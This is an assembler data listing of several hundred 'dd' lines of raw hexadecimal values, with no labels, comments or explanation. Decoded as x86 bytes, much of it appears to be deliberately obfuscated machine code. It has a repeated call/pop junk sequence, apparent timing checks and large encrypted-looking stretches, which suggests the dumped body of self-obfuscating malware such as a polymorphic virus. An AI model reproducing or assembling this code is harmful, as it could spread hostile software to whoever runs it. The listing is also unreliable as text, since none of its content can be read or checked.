		dd 45000000h, 25E5C355h, 982FF8A3h, 0C07830F4h,	0FE860h
		dd 75190000h, 2E7BA36Eh, 0DFF83371h, 79A00FC4h,	0F5FF559h
		dd 8D61FFBFh, 168F5E85h, 8B0F6006h, 6, 34D5BD2Bh, 820F0613h
		dd 1, 0F5061F5h, 1983h,	13E800h, 9BD0000h, 0BEBB3CE8h
		dd 0CF2282CAh, 0E70E2A04h, 0D82BDEB9h, 4895BD8h, 9D9D2324h
		dd 64061325h, 35FFh, 81520000h,	39E733F7h, 11E85B4Ch, 47000000h
		dd 9AC935B5h, 29B83E26h, 41457F82h, 0CA2C5F2Eh,	18F1B589h
		dd 645B0613h, 2589h, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 0EF1DDAC3h, 0B4B3B77Dh
		dd 0D985FF0Ah, 6A061316h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 8E7BC352h, 9D8BAAD4h
		dd 6132841h, 0AF0FBB66h, 0B70FFF6Ah, 95B5FFF9h,	0BB06131Ah
		dd 7B4C2B5Fh, 31AD95FFh, 24E90613h, 0F9000001h,	5AB700B0h
		dd 800F70E6h, 18h, 13E9h, 2F268D00h, 0F6FBAD06h, 0B8617B6Ch
		dd 0CDEC3E72h, 0D8A7085h, 0C38071E4h, 0F613C10h, 0F283h
		dd 0AE900h, 0EADD0000h,	20BDFF13h, 257954D5h, 52C8B60Fh
		dd 69E76BBBh, 6BA5F2Ah,	66000000h, 0BD8BFB8Bh, 6131689h
		dd 0BABBC18Bh, 0C11B8E28h, 8E904E8h, 97000000h,	496705B5h
		dd 66F3A68Bh, 860FE2F7h, 6, 2D0D9D2Bh, 0BF0F0613h, 0B7C82BF9h
		dd 66D18BE0h, 0DF80D88Bh, 6E932h, 9D8B0000h, 613054Dh
		dd 1095858Bh, 83F50613h, 0DF8107C0h, 776A09CAh,	3B00C083h
		dd 0F830FD0h, 66000000h, 0E9CEFCBBh, 67h, 8747BFF9h, 8D8B1526h
		dd 6131461h, 8D0F5B50h
		dd 16h,	0CE8h, 16051A00h, 0EF93AC5Dh, 0ED1DA093h, 29BF6698h
		dd 0E1835F4Dh, 34840F01h, 51000000h, 5E19529h, 835F0613h
		dd 131461A5h, 9D0BFE06h, 6131675h, 10959589h, 880F0613h
		dd 0Eh,	0E99D8B60h, 0F061330h, 8Fh, 0E96100h, 8D000000h
		dd 16E639B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 1F769AB9h, 2369BD29h, 6A0613h, 6850Fh
		dd 9D8B0000h, 6132D29h,	0DA995FFh, 6A0613h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 180424h, 55450000h, 77B5B9C3h
		dd 0D381FA13h, 4B34AFE9h, 0DBEB9h, 0A99D8B00h, 83061311h
		dd 6AFCE1h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 0D20EEFC3h, 0D527205Fh, 6AFCFA8Bh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 4675C353h, 0CD39C7D2h, 0C02BC270h, 0EE9h, 7F5FB700h
		dd 0D099CD58h, 0CDCDC4D5h, 0BA2C2E3Ch, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 80C35040h
		dd 92C7B509h, 5E9B137h,	11000000h, 0B1A1EBA0h, 0D1C233ADh
		dd 83D003E8h, 0F47504E9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 19h, 0EEC35545h, 0D7B8ECDBh, 0AE839h, 2FF40000h
		dd 863B23E4h, 5F6EB957h, 11BD9D2Bh, 895F0613h, 1328DDBDh
		dd 0DDF8B06h, 88h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 0D0C35141h, 23395576h, 40DD8B7Eh, 8BF98B66h
		dd 131BBD95h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1904h, 0C3554500h, 0A671CB0Bh, 0DB8195C9h, 73AD2E4Dh
		dd 18DD8D8Bh, 850F0613h, 3, 50DF8B66h, 188BC28Bh, 188BC103h
		dd 0E8D1C18Bh, 188BC203h, 6E958h, 0A1730000h, 0A09DDAA9h
		dd 13E9h, 0AA76BF00h, 0E2A1CA07h, 35FA25E2h, 825E818h
		dd 4610EE72h, 3840Fh, 0BF0F0000h, 1DBD83D8h, 6131Dh, 6D840Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 0A365C2C3h, 3DD254B8h, 21399D89h,	0B80613h
		dd 0E9000000h, 5, 0D39078E0h, 8D8D8DEBh, 8B06134Fh, 1301399Dh
		dd 6AE1FF06h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 854CC357h, 702E9899h, 61BD897Dh
		dd 8306130Bh, 133055BDh, 840F0006h, 439h, 83FAB70Fh, 133055BDh
		dd 840F0106h, 444h, 0A7DBD8Bh, 0BD830613h, 6133055h, 0FB860F03h
		dd 81000003h, 8F262E3h,	6A6053h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 0F95461C3h, 6AD98C66h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 2EFBC357h, 87ABFDF1h, 8B661893h, 199D33FBh
		dd 8006131Ch, 6A04E1h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 0AF4F71C3h, 5AF05386h, 0B4BF76DFh
		dd 0A7018A8h, 15840FC9h, 6A000001h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 11A7C353h
		dd 29EAB36Dh, 0C099D8Bh, 0F1B30613h, 2BB9858Bh,	6A0613h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 246ABDC3h, 0B98533AAh, 6A061305h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0BFC5C353h
		dd 53230266h, 0D88B6650h, 6A240489h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 4FA9C351h
		dd 0FC006AD7h, 48F93268h, 909ABF3Ah, 34813534h,	57FACD24h
		dd 5BD8B3Ah, 66061324h,	0AA43CB81h, 0A3D95FFh, 85890613h
		dd 616C454h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 16h,	0E2C35545h, 0BD8B805Dh,	61306FDh, 21FE9h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1B04h, 0C3514100h
		dd 624A14B9h, 915A3A2Eh, 122ABB66h, 0C44C858Bh,	9D0B0616h
		dd 61324ADh, 1800C7h, 870F0000h, 0Ch, 6800Fh, 0B5090000h
		dd 613282Dh, 0C450B58Bh, 0BD310616h, 6133085h, 2A55858Bh
		dd 6890613h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Bh,	0CEC35747h, 71BCE59Ah, 8BDD5EF1h, 132BB985h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 0E862D6CAh, 0Fh, 0E31BA175h,	274AA3EFh, 190CC9BFh, 31055847h
		dd 1309898Dh, 46895F06h, 57006A04h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 99D49363h, 8D895BE9h
		dd 6131D59h, 0EE9h, 0C4E2FB00h,	0E004FD60h, 0C53ADBCCh
		dd 96B95100h, 0BE857h, 73310000h, 8FC55391h, 0FEE006C8h
		dd 12E978h, 0CB300000h,	6D6FA4A4h, 428362F1h, 0E3328CFAh
		dd 42B54274h, 0BB505B5Fh, 433D6549h, 51006A96h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 0B70FEF43h
		dd 4CB5FFDEh, 6A0616C4h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 10CDC352h, 1BABB1AFh
		dd 0E8C5923Dh, 46AEBF66h, 0E143C968h, 815F522Bh, 40362434h
		dd 6A2BFEh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 0D69403C3h, 35FB5A44h, 8915393Fh,	1309E5B5h
		dd 54858D06h, 6A0616C4h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 97FDC357h, 65AB2B3Fh
		dd 10599D89h, 57500613h, 57296FBBh, 4895F68h, 0EDBD8B24h
		dd 0FF06130Bh, 130A3D95h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 0BF0FD8CDh
		dd 0CCE780DFh, 0E19D8B61h, 0C7061315h, 13305585h, 306h
		dd 8B0F00h, 60000000h, 0BD8361F9h, 616C454h, 3F840F00h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 0FBA1C353h, 0DD25170Ah, 0E12A390Ah
		dd 0CEBAB8BFh, 0BE666055h, 57B98ADDh, 6114D2B4h, 20E9h
		dd 0D446BF00h, 305045E7h, 4400110Ch, 0E8C10111h, 11443010h
		dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h,	11640011h
		dd 10E8C101h, 2114430h,	3116400h, 4E98358h, 1BEBE775h
		dd 10E8C150h, 3116428h,	2114430h, 11642858h, 11043001h
		dd 7504E983h, 8B00EBE7h, 0EE9C0h, 34AD0000h, 7D47248Dh
		dd 9FED1A9Fh, 43209B4Ah, 73C38166h, 55BD8375h, 3061330h
		dd 3B5850Fh, 9D010000h,	6132425h, 5F9FB351h, 0C454BD83h
		dd 0F000616h, 39E84h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 9C7326D9h, 4529B533h
		dd 54B5FF4Bh, 6A0616C4h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 2740C351h, 836E95B5h
		dd 5F52F7EEh, 6995FFF8h, 8B061309h, 1321A9BDh, 48B58B06h
		dd 0F0616C4h, 6C7D9BFh,	10001h,	0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 0CCC35242h,	0CA311FD1h, 0EF805AABh
		dd 0D88B96ECh, 0FE850h,	6E620000h, 0A310B152h, 0E6733075h
		dd 18FCA532h, 0F98B6609h, 6A965Bh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 275809C3h, 90C004DDh
		dd 0FFE35F8Bh, 16C454B5h, 0FB8B6606h, 2995FFFCh, 0F061332h
		dd 0B58BFABFh, 616C448h, 6C9ABF66h, 321D9D8Bh, 858B0613h
		dd 6130631h, 5F5BD8Bh, 86890613h, 0C4h,	0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 14h, 73C35747h, 0E658D89h
		dd 958B0613h, 6131BBDh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 19h, 0EDC35747h, 958D37DEh, 0EF816676h, 0C2834413h
		dd 51006A04h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 0C3240901h, 2D0E5075h, 66205089h, 8DA434BFh
		dd 16D8E385h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1B04h, 0C3524200h, 0EB9E7E6Ch, 16154457h, 59CF781h
		dd 0BD893038h, 6132475h, 0B88689h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0E4DCEC3h
		dd 6A6840h, 0FFD8B70Fh,	16C454B5h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 0E76D5D31h
		dd 2729BBAEh, 816676B0h, 0FFA7D9EBh, 131E9595h,	55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 0FA269E53h, 964E1FA8h, 4FD23EBFh, 0B8605031h, 1A236D44h
		dd 395BA66h, 10E99661h,	0C8000000h, 18F9AE72h, 0C6D21F5Ch
		dd 1A81BEE0h, 0FF0E743Fh, 16C454B5h, 0FFDA8B06h, 13214595h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 0FFC8AE73h, 0F8B70F18h, 83EBC380h, 131495BDh
		dd 840F0006h, 67h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 17h, 0CC35141h, 89368411h,	130B4D95h, 8A0F9606h
		dd 0Ah,	0F525060h, 53585A31h, 6650615Bh, 6A96FA8Bh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 0E616C355h, 95DDFEBFh, 2906A1C6h, 130D498Dh,	0FFDF8B06h
		dd 16C454B5h, 6820F06h,	89000000h, 13135995h, 0AD95FF06h
		dd 6A061305h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 0CDF5C357h, 0B70F45B3h, 54B5FFDEh
		dd 890616C4h, 13150195h, 995FF06h, 66061312h, 835626BBh
		dd 130511BDh, 840F0206h, 23h, 3045BD8Bh, 858B0613h, 6130F55h
		dd 11158D09h, 0C60613h,	0B5896000h, 6133485h, 23698D8Bh
		dd 0C7610613h, 131E5185h, 6, 48A0F00h, 50000000h, 0E95FFE8Ah
		dd 0FFFFF3F8h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ch,	0F9C35747h, 80A2C494h, 0A8222A7h, 0BBC18BF9h, 6DDEBCC4h
		dd 858DFA8Bh, 6131EA9h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 14h, 0DAC35646h, 24048950h, 6AD88Bh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0EFC35242h, 0C1A67907h
		dd 0F460C5DAh, 0C113BB58h, 816642D4h, 6ADFB8F7h, 90858D00h
		dd 0E9061761h, 0Dh, 52CBD6C5h, 0CA55E1ECh, 0B797E517h
		dd 0E5C781EDh, 832D7539h, 6A05C0h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 8B4DF9C3h, 131081BDh
		dd 0BB665006h, 489F57Bh, 859D8B24h, 6A061313h, 10E900h
		dd 0C72B0000h, 606A9178h, 70B66C63h, 16A764D5h,	6A28CFh
		dd 8BFB8B66h, 1309EDBDh, 0F195FF06h, 6A061307h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 57E2C355h, 0F26B7F5h, 68Fh, 9D9D0100h, 8D06130Eh, 16A36A8Dh
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 0F7B282BAh, 0FF423107h, 0C800FD1h, 0F000000h
		dd 689h, 0E99D8B00h, 8A061331h,	3DBD83DEh, 1061317h, 98850Fh
		dd 81660000h, 6AE983DBh, 51006A02h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 3B77ED22h, 8942253Ah
		dd 133521B5h, 9B58906h,	9006130Fh, 6E9h, 917CAD00h, 50662F06h
		dd 1509BF66h, 52006A90h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1B04h, 0C3524200h, 0A69A49C4h, 61F8D5ECh, 3E0993BBh
		dd 9595FF18h, 6A06131Eh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 1C23C351h, 20D18D29h
		dd 49E90613h, 0E800000Eh, 0
		dd 9AED815Dh, 6A061761h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 9C4DC350h, 51BD8BC5h
		dd 6A061328h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 0BCEEC352h, 0ED1942B0h, 0BDE8BDCh
		dd 1309B5BDh, 5E858D06h, 6A06168Fh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 2665C356h
		dd 0C1EC32B7h, 0CB8CE920h, 8B575190h, 505B5BD9h, 0EBF6690h
		dd 35FF6424h, 0
		dd 16C59D89h, 89640613h, 25h, 0E98D0900h, 0FF061306h, 1316D985h
		dd 6AF98B06h, 50006AFFh, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1A04h, 0C3504000h, 0F2262692h, 29BD973Bh, 131CB99Dh
		dd 31B5FF06h, 6A061328h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 29D0C355h, 0FCF7712Ah
		dd 0BD891A72h, 61329A1h, 31AD95FFh, 30E90613h, 31000001h
		dd 13109DBDh, 2300B006h, 1317119Dh, 8070E606h, 71E456F7h
		dd 0CE853h, 6BE40000h, 0C53638C7h, 4396E534h, 8D29333Eh
		dd 6132B89h, 613C5B5Bh,	0F9830Fh, 9D8B0000h, 6130015h
		dd 60C8B60Fh, 0B5507EBBh, 0ADBD8B45h, 6106131Dh, 6BAh
		dd 5B52900h, 0E8061312h, 14h, 0A8C02CDDh, 553DC445h, 0DAB13CBEh
		dd 70AC4C15h, 8BBC174Bh, 209DBD8Bh, 8B5B0613h, 598589C1h
		dd 0C106130Fh, 0C38104E8h, 1F884C28h, 89E2F766h, 1305C9BDh
		dd 66C82B06h, 55BDDF81h, 6E9D18Bh, 6D000000h, 890B0153h
		dd 0E928h, 858B0000h, 613189Dh,	521F9DBBh, 7C08367h, 1BEFBB66h
		dd 19850Fh, 11E80000h, 6E000000h, 76BCF434h, 6F68EB99h
		dd 2E8C36E1h, 42BB70BCh, 835BF98Bh, 0DE8B00C0h,	830FD03Bh
		dd 14h,	41E9F9h, 0BD8B0000h, 6131E15h, 419D8B51h, 5F061300h
		dd 9CD8D8Bh, 0FA8B0613h, 0F01E183h, 2284h, 0D1952900h
		dd 83061322h, 1309CDA5h, 0BF66FE06h, 95890E90h,	613189Dh
		dd 1F159501h, 0E90613h,	8D000000h, 16F5D4B5h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 1170B245h, 998D13E0h, 6A006A10h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0FFC8C357h
		dd 130DA995h, 6810F06h,	31000000h, 131059B5h, 8B4B906h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 0B5A61C3h, 131391BDh, 0FCE18306h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 7C35040h, 4977BBE3h
		dd 0A79412FBh, 0DFBF0F46h, 0CE9h, 39F8BD00h, 0C29CD4A8h
		dd 247DCA1Bh, 0FCD98BF7h, 92F38166h, 0B835h, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 3948F1C3h, 4860F58h,	66000000h, 2BC715BBh, 56006AD2h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 66E7900Ch, 1DD2E781h, 0D1C233ADh, 83D003E8h,	0F47504E9h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 47C35747h
		dd 66004812h, 667FE9BFh, 0D2866BFh, 88h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 16h, 0C9C35646h, 0D780B99Bh
		dd 0BD958BCCh, 8B06131Bh, 0DD8D8BF9h, 6A061318h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 3249C353h, 0C5EEA11Eh, 8007663Ch, 8B5061CFh,	3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 0FA8B66FCh, 8FCFDB81h
		dd 0BD836B28h, 6131D1Dh, 0AA840F00h, 0F000000h,	0B8F9B7h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 0D2DBC351h, 1860F4Ah, 0F8000000h
		dd 4F8D8D8Dh, 9D8B0613h, 6130B8Dh, 85896053h, 61315D5h
		dd 7E9h, 0C53EFD00h, 13710ECCh,	0E1FF5F61h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 57C35646h, 0E9701B40h
		dd 14h,	9798287Fh, 0A7423EF0h, 3125C354h, 0EBEB1290h, 7ECBD242h
		dd 10E8h, 0E7FE0900h, 2C3A90A9h, 0C39D0F57h, 298AC43Ch
		dd 58A0F2Ch, 66000000h,	0F909E381h, 55BD835Bh, 61330h
		dd 453840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 0F6EABEC3h, 0D60FCAFDh, 518D89DDh
		dd 83061330h, 133055BDh, 840F0106h, 438h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 1Ah, 0BC35646h, 0C8DEC450h
		dd 0BD8B158Fh, 6131BD5h, 3055BD83h, 0F030613h, 3CD86h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 0E2C11ED2h, 8589B1C2h, 6131DADh,	2C59B589h
		dd 0E8600613h, 12h, 0E7135270h,	0A6C600A4h, 8E0B9040h
		dd 25C7CE24h, 0BD31F34Dh, 6132405h, 0D98C665Bh,	0D7EADF81h
		dd 7E92F26h, 0A8000000h, 0B6730097h, 0E18083EDh, 80C38004h
		dd 840FC90Ah, 10Fh, 1BD59D8Bh, 858B0613h, 6132BB9h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0BFC35646h, 0FE4D3BBh
		dd 881h, 0BD295300h, 6132A4Dh, 0B533605Bh, 6130635h, 2B35B589h
		dd 60610613h, 1DAD9D89h, 0B8510613h, 461596C9h,	8533615Ah
		dd 61305B9h, 6050FA8Bh,	9E9h, 0D3CA4900h, 0E953F505h, 0D88B878Dh
		dd 24048961h, 1A2D8589h, 6A0613h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 57C35040h, 8328F0D1h, 5B689740h
		dd 6E8F5h, 0D1150000h, 7671FB26h, 5199D8Bh, 685B0613h
		dd 175BDB6h, 2161BF66h,	49243481h, 6A016ABEh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 0E7B1C350h, 2B619D8Bh, 95FF0613h, 6130A3Dh, 24098D89h
		dd 85890613h, 616C454h,	2C118589h, 0F9E90613h, 8B000001h
		dd 1311719Dh, 15BD0106h, 8B061305h, 16C44C85h, 0C75F5706h
		dd 1800h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 2A931940h, 0C450B58Bh, 6A0616h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 0BD8BACC3h, 613054Dh, 2A55858Bh, 6A0613h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 180424h, 51410000h, 0F3F6F8C3h
		dd 0D781A5A2h, 5EEF4013h, 6A0689h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 8B1C04C3h, 132BB985h
		dd 8D9D8B06h, 66061329h, 89C77BBBh, 6A0446h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 256E1FC3h
		dd 0E950EBFEh, 13h, 0ABDCF2C1h,	0CFA0D524h, 20640012h
		dd 0E6505DB2h, 89ED7281h, 6A2434h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 0AF97ADC3h, 0FE9h, 18845300h
		dd 98736201h, 58EE4AF8h, 63A239D2h, 0C44CB5FFh,	29600616h
		dd 131EAD95h, 4E86106h,	0FF000000h, 50001F03h, 448BDE8Ah
		dd 8A0F0424h, 0
		dd 8E0F008Bh, 12h, 0AE853h, 71CF0000h, 7C7D52E2h, 11598741h
		dd 44895B5Bh, 29580424h, 1320E18Dh, 54858D06h, 0F0616C4h
		dd 5650DAB7h, 0FE9h, 0C142B00h,	0E9736FAh, 0F348DB8Ah
		dd 0E3F1FCCCh, 2404895Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 18h, 0E2C35646h, 62F7A73Bh, 0BB35BF66h, 68F0Fh
		dd 0B5890000h, 6131741h, 95FFDDB3h, 6130A3Dh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 78C35040h, 0DFD10C81h
		dd 51594367h, 5B7ACB80h, 55006A61h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 5AC35367h, 305585C7h
		dd 30613h, 0D7810000h, 7839F168h, 0C454BD83h, 0F000616h
		dd 2584h, 0FAB70F00h, 38E9h, 53006A00h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 30500B11h
		dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h,	0E9835803h
		dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h
		dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h
		dd 2114430h, 11642858h,	11043001h, 7504E983h, 8B00EBE7h
		dd 55006AC0h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 0E66D5BAh, 0E64CE7EBh, 6A5BF553h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 5BE7C355h, 66694106h, 0BD83D88Bh, 6133055h, 8E850F03h
		dd 6A000004h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 0D38AC356h, 68B0FC5h, 81000000h
		dd 0C87F48C7h, 54BD8351h, 616C4h, 457840Fh, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 0C5AB4BC3h, 96799797h, 0E852E7AFh, 7, 8D3A53F0h, 81484A5Ah
		dd 0F75D58D3h, 805B5F74h, 0B5FFF5DFh, 616C454h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 63C35646h, 0D9D91DF4h
		dd 0BB66455Dh, 0DE986EAh, 6000000h, 6FF40570h, 738149FDh
		dd 4D5212E1h, 96995FFh,	6A0613h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 7CECDFC3h, 0B70FAEA6h
		dd 48B58BF9h, 6A0616C4h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 7D6DC357h, 0F098D89h
		dd 6C70613h, 10001h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 8C35343h, 0B17AAE35h,	9D8B1188h, 61307E1h
		dd 52506050h, 310F5250h, 310F585Ah, 585AF08Bh, 61605250h
		dd 6160310Fh, 8961585Ah, 13E82434h, 21000000h, 82C4F4FCh
		dd 0A7BBB34Ch, 19671577h, 97B09758h, 8952A4D8h,	132335B5h
		dd 0FF5B5F06h, 16C454B5h, 2995FF06h, 66061332h,	0FF79F781h
		dd 0C448B58Bh, 11E80616h, 7D000000h, 46B5AEF6h,	0E2E73112h
		dd 9AECFDB8h, 8F26ED6Bh, 19199589h, 8B5F0613h, 13063185h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 86895F34h, 0C4h,	0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 0AC35343h, 0D2AD27E8h, 7E00AC7Ch
		dd 1BBD958Bh, 8B660613h, 4C283DFh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 0E1C35242h,	6660759Dh, 0CCEEA81h
		dd 508961FCh, 11BD8B20h, 23061306h, 132F8DBDh, 0E3858D06h
		dd 6A0616D8h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 73FFC352h, 86896B87h, 0B8h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 21C35646h, 90DCC4BFh
		dd 60006A33h, 1E4D9501h, 61FC0613h, 0C454B5FFh,	6A0616h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 687BD5C3h, 0FABF0FDFh, 1E9595FFh, 6A0613h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 0A59DD1C3h
		dd 14E950h, 5E740000h, 69C1C76Ah, 0CB929381h, 99DD5ABEh
		dd 0D7F63480h, 34894577h, 50006A24h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 0B5FFEC57h
		dd 616C454h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 17h,	70C35747h, 0E9F956B0h, 0Fh, 467B3BE6h, 4077EC88h
		dd 0A7FDD57Bh, 0FF0CA3D9h, 13214595h, 0DE906h, 0F8640000h
		dd 44B92D76h, 15567407h, 66E37A70h, 0BD83FB8Bh,	6131495h
		dd 2B840F00h, 0E9000000h, 0Ah, 0FCCD0D16h, 5ADA54E0h, 50963F31h
		dd 118D0Fh, 0CE90000h, 74000000h, 0B9F94176h, 554254A8h
		dd 964A08ADh, 0B5FFDE8Bh, 616C454h, 0E850006Ah,	3, 58C35820h
